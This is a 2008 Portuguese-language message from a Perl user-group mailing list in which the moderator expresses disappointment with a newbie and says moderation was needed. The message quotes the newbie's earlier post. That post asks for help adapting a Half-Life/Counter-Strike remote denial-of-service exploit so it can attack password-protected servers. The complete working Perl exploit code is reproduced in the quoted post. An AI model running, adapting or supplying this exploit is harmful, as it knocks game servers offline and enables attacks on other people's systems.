<span style="font-family: courier new,monospace;">Puxa é só eu ficar um tempo cuidando da vida real e já acontece tudo isto ?! Vou tentar não repetir o que já foi dito aqui e vou resumir tudo com uma palavra &#39;decepção&#39;.<br>


<br></span><ul><li><span style="font-family: courier new,monospace;">Decepção porque achei que o &#39;newbie&#39; querendo apreender tinha encontrado o &#39;lugar&#39;.</span></li><li><span style="font-family: courier new,monospace;">Decepção porque um &#39;newbie&#39; interessado e empenhado poderia ajudar/incentivar os &#39;observadores&#39; a contribuir com as dúvidas.</span></li>

<li><span style="font-family: courier new,monospace;">
Decepção porque o &#39;newbie&#39; não consegue observar, mesmo que camuflado pelo anonimato da lista, a quantidade de boas oportunidades de trabalho que ele joga pela janela com este tipo de comportamento.</span></li><li>

<span style="font-family: courier new,monospace;">Decepção porque já
vejo o dia que vou lhe entrevista e ter este resultado
<a href="http://mail.pm.org/pipermail/rio-pm/2008-January/001911.html" target="_blank">http://mail.pm.org/pipermail/rio-pm/2008-January/001911.html</a></span></li><li><span style="font-family: courier new,monospace;">Decepção porque mesmo depois de toda atenção inicial, não valorizou a MINHA sede de ensinar e partiu para libertinagem.</span></li>

<li><span style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">Decepção porque tive que utilizar o recurso da moderação, recurso nunca utilizado na minha gestão mas necessário desta fez.</span></span></li>

</ul>
<span style="font-family: courier new,monospace;"><br>Mas tudo bem, a decepção é minha e não tua !<br><br>Solli M. Honório<br><br></span><br><div class="gmail_quote">2008/6/8 Daniel de Oliveira Mantovani &lt;<a href="mailto:daniel.oliveira.mantovani@hotmail.com" target="_blank">daniel.oliveira.mantovani@hotmail.com</a>&gt;:<br>


<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">



<div>
Bom, eu ainda sou newbie to na página 200 do livro &quot;Perl: Como programar&quot;,<br>gostaria que vocês pudessem ajudar<br>Um amigo me pediu pra ajudar ele em um forum só que eu ainda não tenho o conhecimento necessário<br>


vou por aqui o que ele pois la;<br>Obrigado<br>&quot;<br>Tenho um script de CS DOS em Perl e   compilei ele para .exe.<br>Segue o código abaixo. <br>Estou tentando modificá-lo para que se conecte a servers com senha.<br>

 <br>
A sintaxe do atalho para o exe é a seguinte <div><b>Código:</b></div><div>C:\Documents and Settings\Administrador\Desktop\dos.exe&quot; ip_do_server:porta<br>Alguém poderia me ajudar a modificar este script para conexão c/ senha?
Lembrando que para conectar-se em um servidor c/ senha através do
console é <div><b>Código:</b></div><div>password senha; connect ip:porta</div><br><br>Obrigado!  <img alt=":wink:" title="Wink"> <br><br><div><b>Código:</b></div><div>#!/usr/bin/perl<br># Server must not be running steam. /str0ke<br>


<br><br># Half-Life engine remote DoS exploit<br># bug found by Firestorm<br># tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux<br>dedicated server<br>use IO::Socket;<br>die &quot;usage: ./csdos &lt;host&gt;&quot; unless $ARGV[0];<br>


$host=$ARGV[0];<br><br>if (fork())<br>{&nbsp; &nbsp; &nbsp; &nbsp;econnect($host); }<br>else<br>{ econnect($host); };<br>exit;<br><br>sub econnect($)<br>{<br>&nbsp; &nbsp; &nbsp; &nbsp; my $host=$_[0];<br>&nbsp; &nbsp; &nbsp; &nbsp; my $sock = new<br>IO::Socket::INET(PeerAddr=&gt;$host,PeerPort=&gt;&#39;27015&#39;,Proto=&gt;&#39;udp&#39;);<br>


&nbsp; &nbsp; &nbsp; &nbsp; die &quot;Could not create socket: $!\n&quot; unless $sock;<br>&nbsp; &nbsp; &nbsp; &nbsp; $cmd=&quot;\xff\xff\xff\xff&quot;;<br>&nbsp; &nbsp; &nbsp; &nbsp; syswrite $sock, $cmd.&quot;getchallenge&quot;;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; sysread $sock,$b,65535;&nbsp; print $b,&quot;\n&quot;;<br>


&nbsp; &nbsp; &nbsp; &nbsp; @c=split(/ /,$b);<br><br>&nbsp; &nbsp; &nbsp; &nbsp; $c2=$c[1];<br><br>&nbsp; &nbsp; &nbsp; &nbsp; $q=$cmd.&quot;connect 47 $c2<br>\&quot;\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\&quot;\&quot;\\\&quot;\0\0&quot;;<br>print &#39;&gt;&#39;,$q,&quot;\n&quot;;<br>


syswrite $sock, $q;<br>sysread $sock,$b,65535; print $b,&quot;\n&quot;;<br>sleep 3;<br>close $sock;<br>} &quot;<br></div><br></div><br><hr>Instale a Barra de Ferramentas com Desktop Search e ganhe EMOTICONS para o Messenger! <a href="http://www.msn.com.br/emoticonpack" target="_blank">É GRÁTIS!</a></div>



<br>_______________________________________________<br>
SaoPaulo-pm mailing list<br>
<a href="mailto:SaoPaulo-pm@pm.org" target="_blank">SaoPaulo-pm@pm.org</a><br>
<a href="http://mail.pm.org/mailman/listinfo/saopaulo-pm" target="_blank">http://mail.pm.org/mailman/listinfo/saopaulo-pm</a><br></blockquote></div><br><br clear="all"><br>-- <br>&quot;o animal satisfeito dorme&quot;. - Guimarães Rosa